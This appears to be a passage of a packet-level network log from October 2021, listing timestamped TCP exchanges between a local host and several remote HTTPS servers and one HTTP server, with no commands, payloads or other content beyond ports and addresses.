Oct 29, 2021 14:10:32.756396055 CEST	443	49906	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:32.756442070 CEST	49906	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:32.756450891 CEST	49906	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:32.759052992 CEST	49906	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:32.759079933 CEST	443	49906	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:33.135247946 CEST	49908	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.135305882 CEST	443	49908	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.135432005 CEST	49908	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.137017012 CEST	49908	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.137067080 CEST	443	49908	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.175874949 CEST	443	49908	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.175990105 CEST	49908	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.177687883 CEST	49908	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.179409027 CEST	49908	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.179416895 CEST	443	49908	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.211472034 CEST	49909	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.211519003 CEST	443	49909	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.213409901 CEST	443	49908	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.213527918 CEST	49909	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.213696957 CEST	443	49908	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.213737965 CEST	49909	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.213742971 CEST	49908	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.213763952 CEST	443	49909	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.213783979 CEST	443	49908	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.213803053 CEST	49908	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.213809013 CEST	443	49908	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.213840961 CEST	49908	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.213874102 CEST	49908	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.213949919 CEST	49908	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.213975906 CEST	443	49908	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.213987112 CEST	49908	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.214617014 CEST	49908	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.214850903 CEST	49910	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:33.214874983 CEST	443	49910	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:33.214962959 CEST	49910	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:33.215723991 CEST	49910	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:33.215747118 CEST	443	49910	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:33.250268936 CEST	443	49910	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:33.250397921 CEST	49910	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:33.251477003 CEST	443	49909	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.252006054 CEST	49909	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.253118992 CEST	49910	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:33.255256891 CEST	49910	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:33.255315065 CEST	443	49910	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:33.255682945 CEST	49909	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.257265091 CEST	49909	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.257280111 CEST	443	49909	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.273973942 CEST	49911	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.274025917 CEST	443	49911	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.274159908 CEST	49911	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.274418116 CEST	49911	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.274440050 CEST	443	49911	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.280167103 CEST	443	49910	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:33.280252934 CEST	49910	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:33.280276060 CEST	443	49910	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:33.280334949 CEST	443	49910	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:33.280340910 CEST	49910	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:33.280359983 CEST	443	49910	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:33.280431986 CEST	49910	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:33.280438900 CEST	49910	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:33.280441999 CEST	443	49910	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:33.280503988 CEST	49910	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:33.289525986 CEST	49910	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:33.289549112 CEST	443	49910	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:33.294614077 CEST	443	49909	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.294864893 CEST	443	49909	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.294954062 CEST	443	49909	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.294966936 CEST	49909	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.295020103 CEST	49909	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.311443090 CEST	443	49911	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.314595938 CEST	49911	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.325186968 CEST	49909	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.325217009 CEST	443	49909	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.326886892 CEST	49911	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.329010963 CEST	49911	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.329030037 CEST	443	49911	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.331060886 CEST	49913	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:33.331094980 CEST	443	49913	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:33.331180096 CEST	49913	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:33.331386089 CEST	49913	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:33.331428051 CEST	443	49913	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:33.350601912 CEST	443	49911	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.350709915 CEST	49911	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.350795031 CEST	443	49911	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.350881100 CEST	443	49911	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.350902081 CEST	49911	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.350969076 CEST	49911	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.351495028 CEST	49911	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.351516008 CEST	443	49911	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.352298021 CEST	49915	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:33.352333069 CEST	443	49915	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:33.352444887 CEST	49916	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.352490902 CEST	49915	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:33.352525949 CEST	443	49916	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.352772951 CEST	49915	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:33.352797985 CEST	443	49915	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:33.352853060 CEST	49916	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.355822086 CEST	49916	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.355850935 CEST	443	49916	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.367353916 CEST	443	49913	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:33.367464066 CEST	49913	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:33.367902040 CEST	49913	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:33.369605064 CEST	49913	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:33.369689941 CEST	443	49913	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:33.387042046 CEST	443	49915	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:33.387155056 CEST	49915	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:33.389065027 CEST	49915	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:33.391109943 CEST	49915	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:33.391165018 CEST	443	49915	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:33.393246889 CEST	443	49916	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.393572092 CEST	49916	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.393980026 CEST	49916	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.393996954 CEST	443	49916	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.395690918 CEST	49916	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.395703077 CEST	443	49916	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.396660089 CEST	443	49913	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:33.396760941 CEST	443	49913	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:33.396810055 CEST	49913	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:33.396867037 CEST	49913	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:33.396889925 CEST	443	49913	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:33.396910906 CEST	49913	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:33.396977901 CEST	49913	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:33.416593075 CEST	443	49915	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:33.416682005 CEST	443	49915	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:33.416776896 CEST	49915	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:33.416851997 CEST	49915	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:33.416872025 CEST	443	49915	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:33.416888952 CEST	49915	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:33.416965961 CEST	49915	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:33.431018114 CEST	443	49916	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.431140900 CEST	49916	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.431191921 CEST	443	49916	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.431253910 CEST	49916	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.431272984 CEST	443	49916	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.431324959 CEST	443	49916	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.431428909 CEST	49916	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.431437969 CEST	49916	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.431535006 CEST	49916	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.431571007 CEST	443	49916	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.432188034 CEST	49919	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:33.432239056 CEST	443	49919	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:33.432400942 CEST	49919	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:33.434304953 CEST	49919	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:33.434330940 CEST	443	49919	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:33.435606956 CEST	49920	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.435631990 CEST	443	49920	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.435816050 CEST	49920	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.435997009 CEST	49920	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.436018944 CEST	443	49920	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.469741106 CEST	443	49919	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:33.469876051 CEST	49919	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:33.470488071 CEST	49919	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:33.472156048 CEST	49919	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:33.472208977 CEST	443	49919	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:33.473704100 CEST	443	49920	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.473814011 CEST	49920	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.474189043 CEST	49920	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.474206924 CEST	443	49920	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.475930929 CEST	49920	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.475944042 CEST	443	49920	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.500937939 CEST	443	49919	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:33.501019001 CEST	49919	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:33.501032114 CEST	443	49919	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:33.501092911 CEST	49919	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:33.502800941 CEST	49919	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:33.502825975 CEST	443	49919	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:33.502839088 CEST	49919	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:33.502891064 CEST	49919	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:33.511842966 CEST	443	49920	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.511945009 CEST	49920	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.512048006 CEST	443	49920	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.512125969 CEST	49920	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.512147903 CEST	443	49920	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.512172937 CEST	443	49920	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.512227058 CEST	49920	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.512299061 CEST	49920	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.512969971 CEST	49920	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.512989998 CEST	443	49920	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.513782978 CEST	49922	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:33.513823032 CEST	443	49922	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:33.513967037 CEST	49922	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:33.514625072 CEST	49922	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:33.514703989 CEST	443	49922	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:33.551356077 CEST	443	49922	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:33.551455021 CEST	49922	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:33.551860094 CEST	49922	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:33.553473949 CEST	49922	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:33.553539038 CEST	443	49922	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:33.562830925 CEST	49924	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:33.562884092 CEST	443	49924	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:33.563002110 CEST	49924	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:33.563278913 CEST	49924	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:33.563309908 CEST	443	49924	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:33.571326017 CEST	49925	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.571355104 CEST	443	49925	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.571455956 CEST	49925	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.571676970 CEST	49925	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.571686983 CEST	443	49925	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.580640078 CEST	49926	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.580686092 CEST	443	49926	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.580796003 CEST	49926	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.581219912 CEST	49926	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.581247091 CEST	443	49926	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.581408024 CEST	443	49922	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:33.581510067 CEST	443	49922	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:33.581513882 CEST	49922	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:33.581608057 CEST	49922	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:33.582041025 CEST	49922	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:33.582082987 CEST	443	49922	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:33.582143068 CEST	49922	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:33.582156897 CEST	49922	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:33.609042883 CEST	443	49925	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.609602928 CEST	49925	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.609659910 CEST	443	49925	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.610256910 CEST	443	49925	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.610820055 CEST	49925	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.610977888 CEST	443	49925	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.610999107 CEST	49925	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.617897034 CEST	443	49924	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:33.618158102 CEST	443	49926	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.618400097 CEST	49924	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:33.618458986 CEST	443	49924	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:33.618494987 CEST	49926	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.619116068 CEST	443	49926	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.619260073 CEST	443	49924	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:33.619693041 CEST	49926	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.619930029 CEST	443	49926	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.619990110 CEST	49924	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:33.620167971 CEST	49926	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.620214939 CEST	49924	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:33.620234966 CEST	443	49924	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:33.620524883 CEST	443	49924	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:33.646723032 CEST	443	49925	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.646887064 CEST	443	49925	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.647034883 CEST	49925	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.650235891 CEST	443	49924	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:33.650302887 CEST	49925	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.650320053 CEST	49924	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:33.650342941 CEST	443	49925	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.651710987 CEST	49924	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:33.651731968 CEST	443	49924	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:33.657341003 CEST	443	49926	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.657526016 CEST	443	49926	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.657723904 CEST	49926	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.657748938 CEST	443	49926	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.657812119 CEST	443	49926	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:33.657877922 CEST	49926	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.658874035 CEST	49926	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:33.658891916 CEST	443	49926	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:34.185719967 CEST	49682	80	192.168.2.3	93.184.220.29
Oct 29, 2021 14:10:34.202719927 CEST	80	49682	93.184.220.29	192.168.2.3
Oct 29, 2021 14:10:34.202828884 CEST	49682	80	192.168.2.3	93.184.220.29
Oct 29, 2021 14:10:34.328862906 CEST	49933	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:34.328915119 CEST	443	49933	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:34.329004049 CEST	49933	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:34.329533100 CEST	49933	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:34.329545975 CEST	443	49933	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:34.331439972 CEST	49934	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:34.331486940 CEST	443	49934	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:34.331571102 CEST	49934	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:34.332134962 CEST	49934	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:34.332163095 CEST	443	49934	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:34.363918066 CEST	443	49933	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:34.364700079 CEST	49933	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:34.365015030 CEST	443	49933	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:34.365844011 CEST	49933	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:34.365931034 CEST	443	49933	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:34.366082907 CEST	49933	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:34.367939949 CEST	443	49934	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:34.368274927 CEST	49934	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:34.369196892 CEST	443	49934	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:34.369927883 CEST	49934	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:34.370084047 CEST	49934	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:34.370125055 CEST	443	49934	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:34.394149065 CEST	443	49933	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:34.394226074 CEST	443	49933	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:34.394326925 CEST	49933	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:34.397495985 CEST	443	49934	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:34.399172068 CEST	49934	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:34.401222944 CEST	49933	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:34.401247978 CEST	443	49933	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:34.401964903 CEST	49934	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:34.401993036 CEST	443	49934	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:34.432380915 CEST	49937	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:34.432429075 CEST	443	49937	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:34.433996916 CEST	49937	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:34.434461117 CEST	49937	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:34.434489012 CEST	443	49937	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:34.437014103 CEST	49938	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:34.437055111 CEST	443	49938	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:34.437129974 CEST	49938	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:34.437618971 CEST	49938	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:34.437644005 CEST	443	49938	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:34.471569061 CEST	443	49937	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:34.472822905 CEST	49937	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:34.474026918 CEST	443	49937	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:34.474590063 CEST	49937	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:34.474761963 CEST	49937	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:34.474776983 CEST	443	49937	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:34.474975109 CEST	443	49937	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:34.476183891 CEST	443	49938	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:34.476558924 CEST	49938	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:34.477158070 CEST	443	49938	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:34.477981091 CEST	49938	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:34.478126049 CEST	443	49938	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:34.478127003 CEST	49938	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:34.509098053 CEST	443	49937	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:34.509219885 CEST	443	49937	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:34.509314060 CEST	49937	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:34.511935949 CEST	49937	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:34.511967897 CEST	443	49937	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:34.513020992 CEST	49940	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:34.513067007 CEST	443	49940	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:34.513159990 CEST	49940	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:34.513351917 CEST	49940	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:34.513380051 CEST	443	49940	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:34.520860910 CEST	443	49938	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:34.522440910 CEST	443	49938	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:34.522577047 CEST	443	49938	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:34.522659063 CEST	49938	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:34.523984909 CEST	49938	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:34.524008989 CEST	443	49938	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:34.528567076 CEST	49941	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:34.528619051 CEST	443	49941	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:34.528721094 CEST	49941	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:34.528920889 CEST	49941	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:34.528939962 CEST	443	49941	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:34.548528910 CEST	443	49940	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:34.549099922 CEST	49940	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:34.549957991 CEST	443	49940	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:34.550451040 CEST	49940	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:34.550615072 CEST	443	49940	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:34.550672054 CEST	49940	443	192.168.2.3	185.199.109.133
